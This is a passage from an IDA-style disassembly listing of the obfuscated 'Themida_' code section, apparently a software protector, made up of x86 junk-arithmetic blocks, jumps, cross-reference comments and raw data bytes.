--------------------------------------------------------------------------- dw 0C601h dd 69BB951h, 0E953665Eh, 0FFFF5C70h ; --------------------------------------------------------------------------- loc_562CC8: ; CODE XREF: Themida_:0056243Ej sub dword ptr [esp+4], 0BE11F2h pop edi push dword ptr [esp] jmp loc_56356C ; --------------------------------------------------------------------------- loc_562CD9: ; CODE XREF: Themida_:0056C8ECj xor esi, eax xor eax, esi xor esi, eax not eax xchg eax, esi add esi, 0FFFFFFFFh xor esi, 4C8A31CBh xor esi, 7BA84600h add esi, 0DA18A2ECh jmp loc_566C91 ; --------------------------------------------------------------------------- loc_562CFC: ; CODE XREF: Themida_:0056C161j mov ecx, esp add ecx, 4 push ebp mov ebp, 3A7A425Bh jmp loc_55BD5C ; --------------------------------------------------------------------------- loc_562D0F: ; CODE XREF: Themida_:00565747j sub al, bh pop bx push edx jmp loc_558EED ; --------------------------------------------------------------------------- loc_562D19: ; CODE XREF: Themida_:00565A0Dj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_56630B ; --------------------------------------------------------------------------- loc_562D27: ; CODE XREF: Themida_:00556C6Dj sub edi, 28430D19h shl edi, 7 sub edi, 4CA4E4FCh add ebx, edi jmp loc_565C3B ; --------------------------------------------------------------------------- loc_562D3D: ; CODE XREF: Themida_:005609FEj push ebp mov ebp, 3AB33E36h jmp loc_559915 ; --------------------------------------------------------------------------- loc_562D48: ; CODE XREF: Themida_:0055EEDFj neg ebx jmp loc_569417 ; --------------------------------------------------------------------------- loc_562D4F: ; CODE XREF: Themida_:0055DB40j xor [esp], eax jmp loc_556EB6 ; --------------------------------------------------------------------------- loc_562D57: ; CODE XREF: Themida_:0055C087j mov [esp], edi jmp loc_565A61 ; --------------------------------------------------------------------------- loc_562D5F: ; CODE XREF: Themida_:0056233Cj add eax, 4 push edi mov edi, 4 push ebx mov ebx, 6FD35C45h sub ebx, 42703D0Bh sub ebx, 2BC0A170h xor ebx, 7958283Ah xor ebx, 4EF47AB7h sub ebx, 6C2E4800h shr ebx, 4 add ebx, 0FF9301B3h sub eax, ebx mov ebx, [esp] jmp loc_55B845 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 0E9000000h, 8B51h ; --------------------------------------------------------------------------- loc_562DAC: ; CODE XREF: Themida_:00562066j ; Themida_:00568DA7j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_55C0CC ; --------------------------------------------------------------------------- loc_562DC1: ; CODE XREF: Themida_:00562420j shl ebp, 6 jmp loc_563D8B ; --------------------------------------------------------------------------- loc_562DC9: ; CODE XREF: Themida_:0055C72Cj mov esp, [esp] jmp loc_55930F ; --------------------------------------------------------------------------- db 58h, 31h, 0D0h dd 5A2434FFh, 505E5456h, 120EBF57h, 0CEE9798Eh db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_562DE7: ; CODE XREF: Themida_:loc_560770j inc edi jle loc_55A6D2 not edi jmp loc_561970 ; --------------------------------------------------------------------------- db 0E9h, 0EDh, 34h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562DFA: ; CODE XREF: Themida_:00567EBAj inc eax xchg eax, ebx xchg edx, ebx inc edx xchg edx, ebx xchg eax, ebx jmp loc_55CF56 ; --------------------------------------------------------------------------- db 5Dh dd 8B24048Fh, 3C892424h, 53685024h, 8B117438h, 0C4832404h dd 4E0C104h, 3506E0C1h, 0A3387FEDh, 0E958C789h, 0FFFFF378h ; --------------------------------------------------------------------------- loc_562E30: ; CODE XREF: Themida_:005569E8j push dx jmp loc_56008E ; --------------------------------------------------------------------------- loc_562E37: ; CODE XREF: Themida_:00565D90j and edx, 67A90D80h jno loc_567C8B dec edx jg loc_55E8E3 mov ch, dh mov bh, dl loc_562E4E: ; CODE XREF: Themida_:0055E7E7j ; Themida_:00566854j push ecx push ebp mov ebp, 1 mov ecx, ebp pop ebp add eax, ecx pop ecx jmp loc_55DED7 ; --------------------------------------------------------------------------- loc_562E60: ; CODE XREF: Themida_:005699F9j pop ebx jmp loc_556F6C ; --------------------------------------------------------------------------- loc_562E66: ; CODE XREF: Themida_:0056385Dj pop edi xchg ebp, [esp] mov esp, [esp] jmp loc_567C9C ; --------------------------------------------------------------------------- loc_562E72: ; CODE XREF: Themida_:00559211j xor [esp], ecx xor ecx, [esp] pop esp push 737Eh jmp loc_55B39C ; --------------------------------------------------------------------------- db 89h dd 0D0F4E9E7h, 166FFFFh, 942D66F0h, 665E661Ah, 2D66E801h dd 5BE93EC4h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562E9F: ; CODE XREF: Themida_:0056C0CFj push eax mov eax, 667CF69Dh sub edx, eax pop eax push esi mov esi, 68285DD6h sub eax, esi jmp loc_567423 ; --------------------------------------------------------------------------- loc_562EB5: ; CODE XREF: Themida_:0056560Bj mov ebx, 32881E91h push eax mov eax, 3DD77F45h push ebp mov ebp, 602C1C08h xor eax, ebp pop ebp inc eax jz loc_569398 or eax, 53A127B2h jle loc_55D18F add eax, 192212Fh mov esi, eax pop eax sub esi, ebx jmp loc_5696DE ; --------------------------------------------------------------------------- dw 0EC83h dd 3F35E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562EF2: ; CODE XREF: Themida_:00563E2Bj sub eax, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], edi jmp loc_562576 ; --------------------------------------------------------------------------- loc_562F0F: ; CODE XREF: Themida_:005656E0j push ecx mov ecx, 1F604C5Dh jmp loc_563505 ; --------------------------------------------------------------------------- loc_562F1A: ; CODE XREF: Themida_:00562A4Cj push ebx push 7013h mov [esp], edi mov edi, 4 push 43C1h jmp loc_5678B1 ; --------------------------------------------------------------------------- loc_562F32: ; CODE XREF: Themida_:loc_569F41j add edi, 0BBFCCA0h push edi pop ebp pop edi add edi, 43CC34EEh add edi, ebp sub edi, 43CC34EEh pop ebp push dword ptr [esp] jmp loc_55C152 ; --------------------------------------------------------------------------- loc_562F52: ; CODE XREF: Themida_:0056B270j pop esp jmp loc_569EC4 ; --------------------------------------------------------------------------- loc_562F58: ; CODE XREF: Themida_:00558522j push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp loc_562F67: ; DATA XREF: Themida_:00554348o jmp loc_56AA3C ; --------------------------------------------------------------------------- dd 2204432Ch, 483968h, 24148900h, 8196E9h db 0 ; --------------------------------------------------------------------------- loc_562F7D: ; CODE XREF: Themida_:005614BEj mov [esp], ecx mov ecx, 4 sub ebp, 16A471EBh add ebp, ecx add ebp, 16A471EBh jmp loc_56BE8F ; --------------------------------------------------------------------------- loc_562F98: ; CODE XREF: Themida_:00568B02j mov eax, esp add eax, 4 add eax, 4 jmp loc_55A49F ; --------------------------------------------------------------------------- db 66h dd 24342859h, 4EC81h, 0C890000h, 80D6B124h, 8D04246Ch dd 4244C28h, 4244480h, 348A598Dh, 0BC77E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562FCE: ; CODE XREF: Themida_:00557FF4j push 27C2h jmp loc_56C1D6 ; --------------------------------------------------------------------------- loc_562FD8: ; CODE XREF: Themida_:005691CAj push esp pop ecx add ecx, 4 sub esp, 4 mov [esp], esi jmp loc_55B4BF ; --------------------------------------------------------------------------- loc_562FEB: ; CODE XREF: Themida_:00558922j xor al, bl pop ebx jmp loc_564777 ; --------------------------------------------------------------------------- loc_562FF3: ; CODE XREF: Themida_:00568432j sub eax, 31313712h xor eax, 63074F69h push ebx mov ebx, 4FA5457Ah sub ebx, 61670600h shl ebx, 6 dec ebx shr ebx, 4 xor ebx, 96B44915h add eax, ebx pop ebx add ebx, 593F49B1h add ebx, eax sub ebx, 593F49B1h mov eax, [esp] jmp loc_56C85B ; --------------------------------------------------------------------------- loc_56302F: ; CODE XREF: Themida_:0056CFB5j add edi, esi pop esi push edx mov edx, 2D6C336Ah jmp loc_5699D1 ; --------------------------------------------------------------------------- db 54h, 5Ah, 50h dd 405E089h, 0E9000000h, 0FFFFCA93h ; --------------------------------------------------------------------------- loc_56304C: ; CODE XREF: Themida_:0055EFB6j jp loc_564D41 push bx mov bl, 41h jmp loc_56007F ; --------------------------------------------------------------------------- db 29h dd 0DAC7C6D6h db 5Fh ; --------------------------------------------------------------------------- loc_563061: ; CODE XREF: Themida_:00569943j push 4A9Fh mov [esp], ecx mov ecx, 20E7F235h jmp loc_56B557 ; --------------------------------------------------------------------------- loc_563073: ; CODE XREF: Themida_:0055DDC5j push ecx jmp loc_568F42 ; --------------------------------------------------------------------------- loc_563079: ; CODE XREF: Themida_:005626EDj mov eax, 200F30B3h sub eax, 1E212936h push ebp jmp loc_5626A0 ; --------------------------------------------------------------------------- db 50h, 89h, 0E8h dd 5D58C289h, 3159CA29h, 24148BD5h, 4C481h, 0A72D0000h dd 0E96CA710h, 0FFFFDE2Eh, 2F1E68h, 0B6E95400h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5630B3: ; CODE XREF: Themida_:00567472j pop ecx jmp loc_565CE6 ; --------------------------------------------------------------------------- loc_5630B9: ; CODE XREF: Themida_:0056C07Ej push ecx mov ecx, 4DE74D44h xor edi, ecx pop ecx shl edi, 8 add edi, 69504404h jmp loc_556473 ; --------------------------------------------------------------------------- loc_5630D0: ; CODE XREF: Themida_:005677A9j xchg esi, [esp] jmp loc_568444 ; --------------------------------------------------------------------------- loc_5630D8: ; CODE XREF: Themida_:0055E399j add eax, 2D1D1164h push edx push eax jmp loc_563283 ; --------------------------------------------------------------------------- dd 0E981E9D1h, 4547221Dh, 2A6FE9h db 0 byte_5630F1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005561A8o aHA db '$h╠A',0 align 2 aIH@ db '┴<$h"@',0 align 2 dw 8F54h dd 4832404h, 815F0424h, 4C7h, 3D5CE900h, 0D001FFFFh, 3E09685Ah dd 3C890000h, 89505024h, 405E0h, 42D0000h, 87000000h, 895C2404h dd 77682434h, 5E2ECC5Dh, 0ADF5F681h, 0F08910E9h, 58C7895Eh dd 0FF6382E9h db 0FFh ; --------------------------------------------------------------------------- loc_56314D: ; CODE XREF: Themida_:00568A40j add esi, eax pop eax sub edx, esi mov esi, [esp] jmp loc_558953 ; --------------------------------------------------------------------------- loc_56315A: ; CODE XREF: Themida_:0055DC9Ej add esi, ecx pop ecx xor esi, 894888B0h mov edx, esi pop esi jmp loc_56CCDB ; --------------------------------------------------------------------------- loc_56316B: ; CODE XREF: Themida_:0055E87Ej mov edi, edx pop edx jmp loc_55F033 ; --------------------------------------------------------------------------- db 0BAh dd 7C5127ABh, 0FFD2D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_56317D: ; CODE XREF: Themida_:00563D26j pop ebx push edi jmp loc_55D9CA ; --------------------------------------------------------------------------- loc_563184: ; CODE XREF: Themida_:0056957Ej push eax jmp loc_55C041 ; --------------------------------------------------------------------------- loc_56318A: ; CODE XREF: Themida_:0056B590j mov [esp], esi push edi mov edi, 7D172E03h sub esp, 4 mov [esp], edx mov edx, 359E5977h shl edx, 2 inc edx add edx, 1C9B2EC0h jmp loc_56751A ; --------------------------------------------------------------------------- db 58h, 1, 0D1h dd 240C875Ah, 6624248Bh, 5324048Bh, 241C8B54h, 5004C483h dd 0FFEC35E9h db 0FFh ; --------------------------------------------------------------------------- loc_5631C9: ; CODE XREF: Themida_:00562BEFj pop edx push 583Eh jmp loc_561758 ; --------------------------------------------------------------------------- loc_5631D4: ; CODE XREF: Themida_:00569C39j push esi mov esi, esp push ebx mov ebx, 4C7547FCh and ebx, 24D3768Bh jmp loc_565AA5 ; --------------------------------------------------------------------------- loc_5631E8: ; CODE XREF: Themida_:00567EECj dec cl push ebx push cx mov ch, 0C9h mov bh, ch pop cx shr bh, 6 or bh, 36h or bh, 0DCh add bh, 9Eh add bh, 6Bh xor cl, bh jmp loc_55DFC7 ; --------------------------------------------------------------------------- loc_563209: ; CODE XREF: Themida_:00565007j sub esi, 17B5761Eh add esi, ebp add esi, 17B5761Eh pop ebp xchg esi, [esp] jmp loc_55A59B ; --------------------------------------------------------------------------- loc_563220: ; CODE XREF: Themida_:0055FA8Fj add ebx, 1BDF35F8h sub ebx, 3041197Dh add ebx, eax add ebx, 3041197Dh push edx push ecx push 0E2Bh mov [esp], eax push 46D6555Dh jmp loc_5673FF ; --------------------------------------------------------------------------- loc_563248: ; CODE XREF: Themida_:loc_561A66j jmp loc_562341 ; --------------------------------------------------------------------------- loc_56324D: ; CODE XREF: Themida_:0056740Dj xor ebx, 0A6D3EE6Fh sub edx, ebx jmp loc_55D4F1 ; --------------------------------------------------------------------------- loc_56325A: ; CODE XREF: Themida_:loc_568180j dec ecx jmp loc_55C57E ; --------------------------------------------------------------------------- loc_563260: ; CODE XREF: Themida_:0055E792j add bh, 25h mov ax, [esp] jmp loc_568293 ; --------------------------------------------------------------------------- loc_56326C: ; CODE XREF: Themida_:0056C5BAj sub dl, 58h ja loc_56002B jmp loc_564066 ; --------------------------------------------------------------------------- dw 0EFD1h dd 2C50850Fh db 2 dup(0), 57h ; --------------------------------------------------------------------------- loc_563283: ; CODE XREF: Themida_:005630DFj push 3B9C6B6Ah pop eax not eax xor eax, 0C4639494h mov edx, eax pop eax add [eax], edx pop edx mov eax, [esp] jmp loc_557B37 ; --------------------------------------------------------------------------- loc_56329E: ; CODE XREF: Themida_:0055FE8Ej push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_55E519 ; --------------------------------------------------------------------------- loc_5632B5: ; CODE XREF: Themida_:005647E1j mov [esp], ebx mov ebx, esp push esi jmp loc_5641F9 ; --------------------------------------------------------------------------- loc_5632C0: ; CODE XREF: Themida_:005583F7j add al, 0D7h sub dh, al mov eax, [esp] jmp loc_564A6A ; --------------------------------------------------------------------------- dd 525FFD89h, 0D089EA89h, 0FF505D5Ah, 0E958240Ch, 0FFFFE24Ah dd 5A52E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5632E6: ; CODE XREF: Themida_:0055E098j pop esi xor esi, 5A2C0FDBh inc esi sub esi, 0AC37A698h sub edi, esi pop esi add edi, eax push edx mov edx, 2CBF378Bh inc edx shl edx, 5 not edx or edx, 75327199h sub edx, 7C486B24h add edi, edx pop edx mov eax, [esp] add esp, 4 jmp loc_566B33 ; --------------------------------------------------------------------------- loc_563322: ; CODE XREF: Themida_:0056CE78j add eax, ebx add eax, 4D046A2Bh add eax, 6E840098h mov ebx, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] rol word ptr [esp], cl pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_563344: ; CODE XREF: Themida_:00562400j sub esp, 4 jmp loc_55B5E3 ; --------------------------------------------------------------------------- loc_56334C: ; CODE XREF: Themida_:0056C982j shl ebx, 3 jnz loc_56998C jmp loc_563E99 ; --------------------------------------------------------------------------- dw 0F381h dd 0BB85075h, 131C6C6h, 0BF575FFBh, 2, 4C0EB81h, 0FB010B39h dd 9FAE9h, 8E1C100h, 3990840Fh, 0C181FFFFh, 3286D8BEh dd 158FE9h db 0 ; --------------------------------------------------------------------------- loc_56338D: ; CODE XREF: Themida_:00568899j mov [esp], ebx push edi mov edi, 7A1F7E35h add edi, 26FD4C74h add edi, 0A2D9A668h mov ebx, edi jmp loc_56A43D ; --------------------------------------------------------------------------- loc_5633A9: ; CODE XREF: Themida_:00564F13j mov eax, 4 add ecx, eax pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push edx jmp loc_55B580 ; --------------------------------------------------------------------------- loc_5633C3: ; CODE XREF: Themida_:00567A42j mov esi, 24CA73C2h shr esi, 7 jmp loc_55F301 ; --------------------------------------------------------------------------- dword_5633D0 dd 24048B66h, 0FF40C2E9h ; DATA XREF: Themida_:00556234o db 0FFh ; --------------------------------------------------------------------------- loc_5633D9: ; CODE XREF: Themida_:0056989Bj sub ebp, 49D2D202h add ebx, ebp pop ebp add ebx, 60B53C68h pop ecx push eax push esi mov esi, 2 jmp loc_5572F9 ; --------------------------------------------------------------------------- loc_5633F5: ; CODE XREF: Themida_:0056B6BEj add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_561970 ; --------------------------------------------------------------------------- loc_563406: ; CODE XREF: Themida_:00568206j pop esi push 3C78h mov [esp], edx mov edx, esp push edi mov edi, 4 jmp loc_55C37F ; --------------------------------------------------------------------------- loc_56341C: ; CODE XREF: Themida_:0055F0EEj add eax, 51031EFBh shl eax, 1 jmp loc_55E07B ; --------------------------------------------------------------------------- loc_563428: ; CODE XREF: Themida_:0055ADCAj add eax, 4 jmp loc_559740 ; --------------------------------------------------------------------------- loc_563430: ; CODE XREF: Themida_:005568EAj xor esi, 15913C9Ah jnb loc_5667E8 not esi shr esi, 4 jmp loc_558D8C ; --------------------------------------------------------------------------- db 47h ; --------------------------------------------------------------------------- loc_563447: ; CODE XREF: Themida_:0055A976j sub ebp, 6C7F2855h shl ebp, 7 sub ebp, 49946C87h push edx mov edx, 78984C4Ch sub ebp, 23EB033Fh add ebp, edx jmp loc_56C88F ; --------------------------------------------------------------------------- loc_563469: ; CODE XREF: Themida_:00560C48j mov eax, 1F71160Eh sub eax, 4DDA3A31h jmp loc_564F18 ; --------------------------------------------------------------------------- loc_563478: ; CODE XREF: Themida_:00563950j sub dl, 0ADh add dl, 0CCh jmp loc_55AC56 ; --------------------------------------------------------------------------- loc_563483: ; CODE XREF: Themida_:0056B78Ej mov edx, ebp pop ebp sub ebx, edx pop edx add ebx, 9C27DD0h jmp loc_557A96 ; --------------------------------------------------------------------------- loc_563494: ; CODE XREF: Themida_:0055AC49j push 4655h jmp loc_564001 ; --------------------------------------------------------------------------- loc_56349E: ; CODE XREF: Themida_:0056C6B4j xchg ebp, [esp] pop esp shr eax, 10h xor eax, ecx push 56FFh jmp loc_55CA2F ; --------------------------------------------------------------------------- loc_5634B1: ; CODE XREF: Themida_:00558135j push esi mov esi, esp add esi, 4 jmp loc_56113A ; --------------------------------------------------------------------------- aIshat db '┴Аh²T',0 align 2 dw 1C89h dd 4228E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5634CE: ; CODE XREF: Themida_:00557FBEj dec ebp jmp loc_55DFED ; --------------------------------------------------------------------------- dd 6925BA52h, 0EF815AD5h, 3A6B31ECh, 8BE9D701h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5634E7: ; CODE XREF: Themida_:0056696Bj jmp loc_558498 ; --------------------------------------------------------------------------- dd 4C481h, 0D5F70000h, 91C7E9h, 241C3000h, 50D98851h, 0FF4A49E9h db 0FFh ; --------------------------------------------------------------------------- loc_563505: ; CODE XREF: Themida_:00562F15j or ecx, 64822180h dec ecx shr ecx, 3 add ecx, 46502950h add edx, 5BD5572Ch sub edx, ecx sub edx, 5BD5572Ch pop ecx jmp loc_5597CA ; --------------------------------------------------------------------------- loc_563529: ; CODE XREF: Themida_:005661ECj xor edi, 698462BDh jge loc_566F9B sub esp, 4 mov [esp], eax mov eax, 0DD1ABBFAh add edi, 62757B83h add edi, eax sub edi, 62757B83h mov eax, [esp] jmp loc_560C4E ; --------------------------------------------------------------------------- loc_563559: ; CODE XREF: Themida_:0055852Fj add ebx, esi pop esi jmp loc_55838D ; --------------------------------------------------------------------------- db 0Fh, 88h, 8Ah dd 0E9FFFF89h, 0FFFF585Ah ; --------------------------------------------------------------------------- loc_56356C: ; CODE XREF: Themida_:00562CD4j pop edx add esp, 4 push 414Ch jmp loc_560E4B ; --------------------------------------------------------------------------- loc_56357D: ; CODE XREF: Themida_:0056B057j push ebp jmp loc_560385 ; --------------------------------------------------------------------------- loc_563583: ; CODE XREF: Themida_:00563C55j jmp loc_55D796 ; --------------------------------------------------------------------------- dd 8904EC83h, 4832424h, 48B0424h, 4EC8124h, 0E9000000h dd 991Eh, 0F9E9D830h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5635A7: ; CODE XREF: Themida_:0056B6C6j xor ebx, [esp] xor [esp], ebx not ebx xchg ebx, [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp push ecx jmp loc_565406 ; --------------------------------------------------------------------------- loc_5635C4: ; CODE XREF: Themida_:0055C757j push ebp mov ebp, 4 jmp loc_55E8DC ; --------------------------------------------------------------------------- loc_5635CF: ; CODE XREF: Themida_:005626D4j add ebx, edi pop edi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_55B42E ; --------------------------------------------------------------------------- db 8Bh dd 0BFE9241Ch db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5635EB: ; CODE XREF: Themida_:00566A5Dj add esp, 4 add ebx, 4 add ebx, 4 jmp loc_55AF7F ; --------------------------------------------------------------------------- db 0BBh dd 4E5254E5h, 901FD205h, 5428057Ah, 0B105103Eh, 0E90C8F04h dd 0FFFF81CFh dword_563618 dd 0A9B2E9ADh, 5268FFFFh, 8900001Dh, 0E189240Ch, 4C181h ; DATA XREF: Themida_:00556194o dd 0F8E90000h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_563633: ; CODE XREF: Themida_:0056708Dj ; Themida_:0056A9A0j xor [esp], ecx not ecx push ecx push dword ptr [esp+4] pop ecx jmp loc_55ECF6 ; --------------------------------------------------------------------------- db 31h dd 0FB015DEFh, 0FF9760E9h db 0FFh ; --------------------------------------------------------------------------- loc_56364D: ; CODE XREF: Themida_:00564243j ; Themida_:0056C0EBj push ecx push ebx mov ebx, 2BAA6119h jmp loc_568AE8 ; --------------------------------------------------------------------------- loc_563659: ; CODE XREF: Themida_:00560D58j pop esp add esi, 4 xchg esi, [esp] pop esp xor eax, ecx xor ecx, eax xor eax, ecx push 1CABh mov [esp], ebx mov ebx, 1 and eax, ebx push dword ptr [esp] mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edx mov edx, esp add edx, 4 push esi mov esi, 4 push 38B0h mov [esp], ebx push ebp push edx mov edx, 2F1D51A8h mov ebp, 4D256BDEh jmp loc_567439 ; --------------------------------------------------------------------------- loc_5636BA: ; CODE XREF: Themida_:0056BAD5j push ebx jmp loc_5659B9 ; --------------------------------------------------------------------------- loc_5636C0: ; CODE XREF: Themida_:00562039j pop bx xor al, 0CDh jmp loc_55B940 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0EF010000h, 0FFD8A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5636D5: ; CODE XREF: Themida_:005583B6j xor ebp, 0E0D2456h or ebp, 2C4705F3h or ebp, 0DF46349h or ebp, 10486D4Eh add ebp, 0FFFFFFFFh push edi mov edi, 12AB274Ch jmp loc_56B82B ; --------------------------------------------------------------------------- loc_5636FB: ; CODE XREF: Themida_:00558C36j shr ecx, 5 jmp loc_557D69 ; --------------------------------------------------------------------------- loc_563703: ; CODE XREF: Themida_:00556465j push edx mov dh, 0EAh jmp loc_55F62A ; --------------------------------------------------------------------------- loc_56370B: ; CODE XREF: Themida_:00561208j pop dword ptr [esp] mov esp, [esp] shl dword ptr [esp], cl jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_563719: ; CODE XREF: Themida_:00557488j mov ecx, [esp] add esp, 4 add esp, 4 push esi jmp loc_55DBA0 ; --------------------------------------------------------------------------- loc_56372E: ; CODE XREF: Themida_:0056AE71j and eax, ebp mov ebp, [esp] add esp, 4 jmp loc_55C716 ; --------------------------------------------------------------------------- a3Ys95 db '╧ш3',0Bh,0Bh,')оYИ95',0 db 0 ; --------------------------------------------------------------------------- loc_56374B: ; CODE XREF: Themida_:loc_55D1A8j push eax mov eax, 38B1304h jmp loc_55FE6E ; --------------------------------------------------------------------------- loc_563756: ; CODE XREF: Themida_:0056578Dj pop ecx sub dl, al pop eax add al, dl pop edx push cx jmp loc_557365 ; --------------------------------------------------------------------------- loc_563764: ; CODE XREF: Themida_:00561B66j xor [esp], esi xor esi, [esp] mov esp, [esp] test cl, al pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- byte_563775 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005560A8o dd 11AC6859h, 2C890000h, 4EC8324h, 83242489h, 5D042404h dd 280968h, 24348900h, 50706852h, 148B0E92h, 4C48324h dd 0E905EAC1h, 7ACDh ; --------------------------------------------------------------------------- loc_5637A8: ; CODE XREF: Themida_:005589CAj jnb loc_55BDE8 push ecx push ebp jmp loc_5666B7 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 8B000000h db 0F7h ; --------------------------------------------------------------------------- loc_5637BD: ; CODE XREF: Themida_:00565FDDj add ebx, 0AE8CB6AFh push ebx mov ebx, 25253E3Ch add edi, ebx pop ebx add edi, ebx jmp loc_55ACB2 ; --------------------------------------------------------------------------- loc_5637D3: ; CODE XREF: Themida_:00559B8Ej mov eax, 1EE72203h jmp loc_55B85C ; --------------------------------------------------------------------------- loc_5637DD: ; CODE XREF: Themida_:0056D1DDj mov esi, 53FB227Ch sub esi, 537D5705h shr esi, 5 sub esi, 2E33285Dh mov edi, esi pop esi jmp loc_56B793 ; --------------------------------------------------------------------------- loc_5637F9: ; CODE XREF: Themida_:00562314j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5567B1 ; --------------------------------------------------------------------------- loc_56380F: ; CODE XREF: Themida_:00558382j ; Themida_:00565CC2j xor ebx, 1CB75B30h add ebx, 4858135Fh inc ebx not ebx xor ebx, 0F87FAE16h sub ecx, ebx pop ebx pop edi jmp loc_556F77 ; --------------------------------------------------------------------------- aSs db 'SИ╣',8,0 db 0 ; --------------------------------------------------------------------------- loc_563833: ; CODE XREF: Themida_:0055939Dj add ecx, esi pop esi xchg ecx, [esp] pop esp and eax, edx jmp loc_56B5B5 ; --------------------------------------------------------------------------- byte_563841 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005560ECo dd 0FFF3C0E9h, 62F781FFh, 29E18596h, 0CD45E9FDh, 0E95DFFFFh dd 0FFFFBC7Eh ; --------------------------------------------------------------------------- loc_56385C: ; CODE XREF: Themida_:0055B317j pop ecx jmp loc_562E66 ; --------------------------------------------------------------------------- loc_563862: ; CODE XREF: Themida_:0055E8D7j mov esi, 43BF7C0Dh shr esi, 1 shl esi, 4 add esi, 1 jmp loc_566DFF ; --------------------------------------------------------------------------- loc_563877: ; CODE XREF: Themida_:00568C89j add esi, 4 xchg esi, [esp] pop esp jmp loc_558492 ; --------------------------------------------------------------------------- loc_563886: ; CODE XREF: Themida_:00559F63j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov ecx, [esp] push edi mov edi, esp sub esp, 4 mov [esp], ebp mov ebp, 6EBE7C57h shl ebp, 7 shl ebp, 5 or ebp, 1AC1731Fh shr ebp, 5 xor ebp, 7FE2B9Ch add edi, ebp pop ebp add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_56A022 ; --------------------------------------------------------------------------- loc_5638D0: ; CODE XREF: Themida_:0055993Cj mov edi, 801A6AC7h jmp loc_55D9E5 ; --------------------------------------------------------------------------- dw 0C483h dd 7EDC104h, 68h, 8EA4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5638EA: ; CODE XREF: Themida_:loc_563C3Fj dec edx jge loc_5607B4 dec edx jg loc_56AA69 mov al, 51h pop edx loc_5638FC: ; CODE XREF: Themida_:0055ADADj xor bl, 0D6h and bl, 48h jmp loc_55AB2A ; --------------------------------------------------------------------------- loc_563907: ; CODE XREF: Themida_:005569BBj xchg edx, [esp] pop esp jmp loc_56C01A ; --------------------------------------------------------------------------- loc_563910: ; CODE XREF: Themida_:00560F9Aj add eax, 4 jmp loc_557EDD ; --------------------------------------------------------------------------- dw 25B9h dd 0E98E0622h, 6FBBh ; --------------------------------------------------------------------------- loc_563924: ; CODE XREF: Themida_:005607ECj pop eax jmp loc_56D5AD ; --------------------------------------------------------------------------- dw 8D35h dd 1A2F5F8h, 9D3FE9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563936: ; CODE XREF: Themida_:00558751j or bh, 74h sub bh, 0F6h add bh, 1 add dl, bh pop ebx mov eax, [esp] add esp, 4 add dl, 0ADh add dl, bh jmp loc_563478 ; --------------------------------------------------------------------------- loc_563955: ; CODE XREF: Themida_:00564F01j add edi, 4 add edi, 4 xchg edi, [esp] pop esp add [edx], eax push dword ptr [esp] pop edx add esp, 4 pop eax loc_56396C: ; CODE XREF: Themida_:loc_56BB01j push 9B0h mov [esp], ecx push ebx push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_5691C9 ; --------------------------------------------------------------------------- db 81h, 0C5h, 9Bh dd 13CE208h, 9BBA52D5h, 813CE208h, 2B4E81C5h, 35C58141h dd 81719633h, 867891C5h, 81D5296Eh, 867891EDh, 35ED816Eh dd 51719633h, 285163B9h, 0FFC1837Bh, 0FFCFC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5639BD: ; CODE XREF: Themida_:0055C86Fj push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp imul ecx push ebx mov ebx, esp add ebx, 4 push 3F3Bh mov [esp], edi push eax jmp loc_56AF49 ; --------------------------------------------------------------------------- aBq4_s? db '│О4╥р.Иэ?',0 align 2 dw 0C0FEh dd 0DCF8D0Fh, 0B3530000h, 0EFCB8054h, 0DDE9DBF6h, 5D000022h db 56h ; --------------------------------------------------------------------------- loc_563A01: ; CODE XREF: Themida_:0056409Fj sub edi, 327CC2h jmp loc_561133 ; --------------------------------------------------------------------------- loc_563A0C: ; CODE XREF: Themida_:00561D73j add edi, 4 jmp loc_55E67C ; --------------------------------------------------------------------------- db 87h dd 15C2434h, 2434FFFDh, 0E189515Fh, 4C181h, 0C1810000h dd 4, 5C240C87h, 5F0FE9h db 0 ; 